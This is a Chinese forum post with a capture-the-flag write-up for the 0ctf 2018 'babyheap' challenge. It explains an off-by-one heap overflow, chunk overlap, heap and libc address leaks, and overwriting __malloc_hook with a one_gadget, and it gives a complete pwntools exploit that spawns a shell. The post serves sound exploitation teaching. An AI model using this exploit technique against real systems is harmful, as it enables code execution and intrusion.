|
本帖最后由 Xor0ne 于 2020-3-31 19:33 编辑
曲径通幽
本题来源于:https://ctf.pediy.com/itembank.htm(PS:这篇文章的wirteup太大了,上传不了,可以移步去原平台观看哦!)
有点难度。请下载qjty.zip和libc-2.24.zip。 题目地址: nc 221.228.109.254 9000 附件下载:
Writeup:
赛题链接
https://github.com/eternalsakura ... 018/babyheap.tar.gz
前置知识
- fastbin attack
- off-by-one
- overlap
- 熟悉malloc_state即main_arena,即知道main_arena是存储在libc.so的一个数据段。
struct malloc_state {
/* Serialize access. */
__libc_lock_define(, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[ NFASTBINS ];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[ NBINS * 2 - 2 ];
/* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/
unsigned int binmap[ BINMAPSIZE ];
/* Linked list, points to the next arena */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
分析
checksec
sakura@sakuradeMBP:~$ checksec /Users/sakura/Desktop/0ctf/babyheap-1/babyheap '/Users/sakura/Desktop/0ctf/babyheap-1/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序分析
典型的菜单程序
比较特别的是存放堆指针的全局变量不再放在bss段,而是随机mmap了一段空间出来存放。
添加
修改
删除
查看
漏洞分析
在修改函数里存在一个off-by-one漏洞,可以用来溢出修改相邻chunk的prev_size或者size.
测试:
from pwn import *
def alloc(size,nowait=False):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
if nowait:
return
res = p.recvuntil('Allocated\n')
return int(res.split()[1])
def update(idx,content,size=0):
size = size if size else len(content)
content = content.ljust(size,"\x00")
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.sendline(content)
def delete(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
def view(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil(']: ')
return p.recvuntil('1. Allocate')
p = process('./babyheap')
context.log_level = 'debug'
a = alloc(0x28)
b = alloc(0x20)
update(a,'A'*0x28 + chr(0x41))
gdb.attach(p)
raw_input('x')
如图:
这里要注意一点就是我把分配的chunk修改一下
a = alloc(0x20)
b = alloc(0x20)
可以看出这样就修改到了下一个chunk的prev_size,之所以分配0x28和分配0x20都得到大小为0x30的chunk,是因为chunk的空间复用,如果当前chunk正在使用中,没有被free掉,那么相邻chunk的prev_size域是无效的,可以被前一个chunk使用。
利用
利用思路
leak heap
申请多个chunk,通过off-by-one改变其中一个chunk的size,使其包含两个chunk,即overlap。
然后在这个大chunk里伪造fastbin chunk B.
然后申请一个和其大小一致的fastbin chunk A,依次释放A和B。
则fastbin:B->A, B的fd就存放着A的堆地址,通过打印大chunk的内容,将其中存放着的小chunk打印出来,从而得到堆地址。
meh = alloc(0x10) #0
ovf = alloc(0x28) #1,为了能够溢出修改到相邻chunk的size
vic = alloc(0x20) #2
fake = alloc(0x20) #3
alloc(0x20) #4
update(ovf,'a'*0x28 + chr(0x51)) #2的size被修改为0x51,从而将3包括在内,overlapping!
update(fake,p64(-1,sign='signed')+p64(-1,sign='signed')+p64(0)+p64(0x21))
delete(vic) #2被free,且将3包含在内
bigass = alloc(0x40) #将2再申请出来,此时的2为
'''
pwndbg> x /20gx 0x555555757050
index 2->0x555555757050: 0x6161616161616161 0x0000000000000051->size
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
index 3->0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
'''
update(bigass,'a'*0x20 + p64(0)+p64(0x21))# 在3伪造chunk,size为0x21
'''
index 3->0x555555757080: 0x0000000000000000 0x0000000000000021
0x555555757090: 0x0000000000000000 0x0000000000000000
'''
delete(meh) #free 0
delete(fake) ## free 3
'''
fastbin:
0x20:fake(3)->meh(0)
'''
heap = u64(view(bigass)[0x30:][:8])# show 2,此时的chunk2,[0x30:][:8]即meh(0)的堆地址
log.info('heap address:'+hex(heap)) #因为meh是第一个分配的chunk,所以它的地址就是heap基地址。
...
...
...
alloc chunk:
0
alloc chunk:
1
alloc chunk:
2
alloc chunk:
3
alloc chunk:
4
update chunk:
1
update chunk:
3
delete chunk
2
alloc chunk:
2
update chunk:
2
delete chunk
0
delete chunk
3
view chunk
2heap address:0x5607a100f000
leak libc
修改3的大小为超出fastbin范围的small bin的大小,将其free,则其fd和bk都指向main_arena,而main_arena在libc上,减去偏移就得到libc基地址。
fake = alloc(0x10)#再将3申请出来,此时它的内容清空。
'''
fastbin:
0x20:meh(0)
'''
update(bigass,'a'*0x20 + p64(0)+p64(0xd1)) #change fake size to 0xd1
'''
pwndbg> x /20gx 0x555555757050
index 2:
0x555555757050: 0x6161616161616161 0x0000000000000051
0x555555757060: 0x6161616161616161 0x6161616161616161
0x555555757070: 0x6161616161616161 0x6161616161616161
index 3:
0x555555757080: 0x0000000000000000 0x00000000000000d1->size
0x555555757090: 0x0000000000000000 0x0000000000000000
------------------------------------------------------------------
0x5555557570a0: 0x0000000000000000 0x0000000000000021
0x5555557570b0: 0x0000000000000000 0x0000000000000031
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000020f21
'''
alloc(88,nowait=True)
xx = alloc(88)
update(xx,p64(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x21))
'''
pwndbg> x /50gx 0x555555757080
0x555555757080: 0x0000000000000000 0x00000000000000d1->size
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000021
0x5555557570b0: 0x0000000000000000 0x0000000000000031
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000061
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000000000
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
0x555555757140: 0x0000000000000000 0x0000000000000061
0x555555757150: 0x0000000000000000 0x0000000000000021
0x555555757160: 0x0000000000000000 0x0000000000000000
0x555555757170: 0x0000000000000000 0x0000000000000021
0x555555757180: 0x0000000000000000 0x0000000000000000
0x555555757190: 0x0000000000000000 0x0000000000000000
0x5555557571a0: 0x0000000000000000 0x0000000000020e61
0x5555557571b0: 0x0000000000000000 0x0000000000000000
'''
delete(fake) # 此时fake的大小属于small chunk,free后被添加到unsort bins, fd和bk指针指向libc上unsort bins的地址.
main_arena = u64(view(bigass)[0x30:][:8]) - 88 #compute main_arena header addr
log.info('main_arena address:'+hex(main_arena))
libc = main_arena -0x399b00 #需要用main_arena减去它在libc中的偏移才能得到libc基地址
# 这个偏移可以通过关闭aslr,cat /proc/pid/maps,查看libc的基地址,然后用leak出来main_arena减去这个基地址就得到了偏移。
log.info('libc address:'+hex(libc))
...
...
...
alloc chunk:
0
update chunk:
2
alloc chunk:
5
update chunk:
5
delete chunk
0
view chunk
2main_arena address:0x7f1c45ddab00libc address:0x7f1c45a41000
修改top_chunk,覆盖malloc_hook为one_gadaget
通过改fastbin的fd,从而使得下一次分配的chunk到我们指定的地址(这里是top_chunk上方)。
然后修改top_chunk到malloc_hook上方,使得chunk的分配从malloc_chunk的上方附近开始进行。
于是下一次分配就分配到malloc_hook上方,从而可以覆盖malloc_hook为one_gadaget
fake_chunk2 = main_arena - 0x33 #在malloc_hook上方附近的地址
fake_chunk = main_arena + 32 + 5 #用来绕过对fd的size大小的检查
fake = alloc(0x48) #将fake从unsorted bin申请出来
xx = alloc(0x58) #free后,在fastbin占位,用来绕过对fd的size大小的检查
delete(xx) #free后,在fastbin占位,用来绕过对fd的size大小的检查
delete(fake)
'''
fastbin:
0x50: fake
0x60: xx
''' update(bigass,'a'*0x20 + p64(0)+p64(0x51)+p64(fake_chunk)) # 修改2,将3的fd指向main_arena + 32 + 5
'''
fastbin:
0x50: fake --> main_arena + 32 + 5
0x60: xx
'''
# print hex(fake_chunk),hex(fake_chunk2)
alloc(0x48) #将fastbin中的fake再分配出来
arena = alloc(0x48) #alloc main_arena + 32 + 5
print arena
需要注意的是main_arena + 32 + 5是什么?
还记得我们之前分配并free的xx = alloc(0x58)么?它在fastbin占位,于是它的地址的第一个字节,如图,0x55,正好可以帮我们绕过对于分配fastbin时,对size的验证。
这里顺便提一下这个验证:
在malloc时会进行一个校验,当size是fastbin的情况下,如果从fastbin取出的第一块chunk的(unsigned long)size不属于该fastbin中的时候就会发生memory corruption(fast)错误。
主要检查方式是根据malloc的bytes大小取得index后,到对应的fastbin去找,取出第一块后检查该chunk的size是否属于该fastbin。
于是我们的chunk就被分配到了这里!
update(arena,"\x00"*3 + "\x00"*32 + p64(fake_chunk2))
# 修改top_chunk为fake_chunk2 用\x00填充fastbins,于是下一次分配将会从我们伪造的top_chunk(fake_chunk2)开始.
# 而伪造的top_chunk刚好就在malloc_hook的上方附近。
winit = alloc(0x48) #从伪造的top_chunk开始分配,从而得到malloc_hook上方的空间的chunk
update(winit,"\x00"*3 + "\x00"*16 + p64(libc + 0x3f35a)) #覆盖__malloc_hook到one_gadget
alloc(0x10,nowait=True) # 触发one_gadget来getshell struct malloc_state
{
...
...
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
...
...
};
注意到我们开始就说过的malloc_state,也就是main_arena它的结构体,可以看到top就在fastbin数组的下面,所以我们malloc出了fastbin数组附近之后,就可以覆盖修改top_chunk了。
将top_chunk修改为main_arena-0x33,如图,就在malloc_hook上方。
接着就可以分配出这块空间,并且对其修改,覆盖__malloc_hook到one_gadget
顺便提一句,寻找one_gadaget可以参考这篇文章!
exp
#!/usr/bin/env python
from pwn import *
import re
context.arch = 'amd64'
# libc = ELF('./libc.so.6')
if len(sys.argv) < 2:
p = process('./babyheap')
context.log_level = 'debug'
else:
p = remote(sys.argv[1], int(sys.argv[2]))
# context.log_level = 'debug'
def alloc(size,nowait=False):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
if nowait:
return
res = p.recvuntil('Allocated\n')
# print "alloc chunk:"
# print int(res.split()[1])
return int(res.split()[1])
def update(idx,content,size=0):
size = size if size else len(content)
content = content.ljust(size,"\x00")
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
# print "update chunk:"
# print str(idx)
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.sendline(content)
def delete(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
# print "delete chunk"
# print str(idx)
p.sendline(str(idx))
def view(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
# print "view chunk"
# print str(idx)
p.sendline(str(idx))
p.recvuntil(']: ')
return p.recvuntil('1. Allocate')
def exp():
# create(0x18)
# create(0x10)
# create(0x10)
# update(0,25,'A'*24+'\x41')
# # gdb.attach(p)
# delete(2)
# # delete(0)
# delete(1)
# create(0x30)
# update(1,0x30,'A'*16+p64(0)+p64(0x21)+'\x00'*16)
# create(0x10)
# # create(0x10)
# delete(0)
# delete(2)
# view(1)
# p.recvuntil(']: ')
# res = p.recv(48)[32:40]
# heap_base = u64(res)
meh = alloc(0x10)
ovf = alloc(0x28)
vic = alloc(0x20)
fake = alloc(0x20)
alloc(0x20)
update(ovf,'a'*0x28 + chr(0x51))
update(fake,p64(-1,sign='signed')+p64(-1,sign='signed')+p64(0)+p64(0x21))
delete(vic)
bigass = alloc(0x40)
update(bigass,'a'*0x20 + p64(0)+p64(0x21))
delete(meh)
delete(fake)
heap = u64(view(bigass)[0x30:][:8])
log.info('heap address:'+hex(heap))
fake = alloc(0x10)
update(bigass,'a'*0x20 + p64(0)+p64(0xd1)) #change fake size to 0xd1
alloc(88,nowait=True)
xx = alloc(88)
update(xx,p64(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x21))
delete(fake) # free small chunk,add to unsort bins, fd bk point to unsort bins addr.
main_arena = u64(view(bigass)[0x30:][:8]) - 88 #compute main_arena addr
log.info('main_arena address:'+hex(main_arena))
libc = main_arena -0x399b00
log.info('libc address:'+hex(libc))
alloc(0x10,nowait=True)
fake_chunk2 = main_arena - 0x33
fake_chunk = main_arena + 32 + 5
fake = alloc(0x48)
xx = alloc(0x58)
delete(xx)
# gdb.attach(p)
raw_input('x')
delete(fake)
raw_input('x')
update(bigass,'a'*0x20 + p64(0)+p64(0x51)+p64(fake_chunk))
print hex(fake_chunk),hex(fake_chunk2)
raw_input('x')
alloc(0x48)
arena = alloc(0x48)
print arena
update(arena,"\x00"*3 + "\x00"*32 + p64(fake_chunk2))
winit = alloc(0x48)
update(winit,"\x00"*3 + "\x00"*16 + p64(libc + 0x3f35a))
raw_input('x')
alloc(0x10,nowait=True)
log.info('get shell!!!')
p.interactive()
p.close()
if __name__ == '__main__':
exp()
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|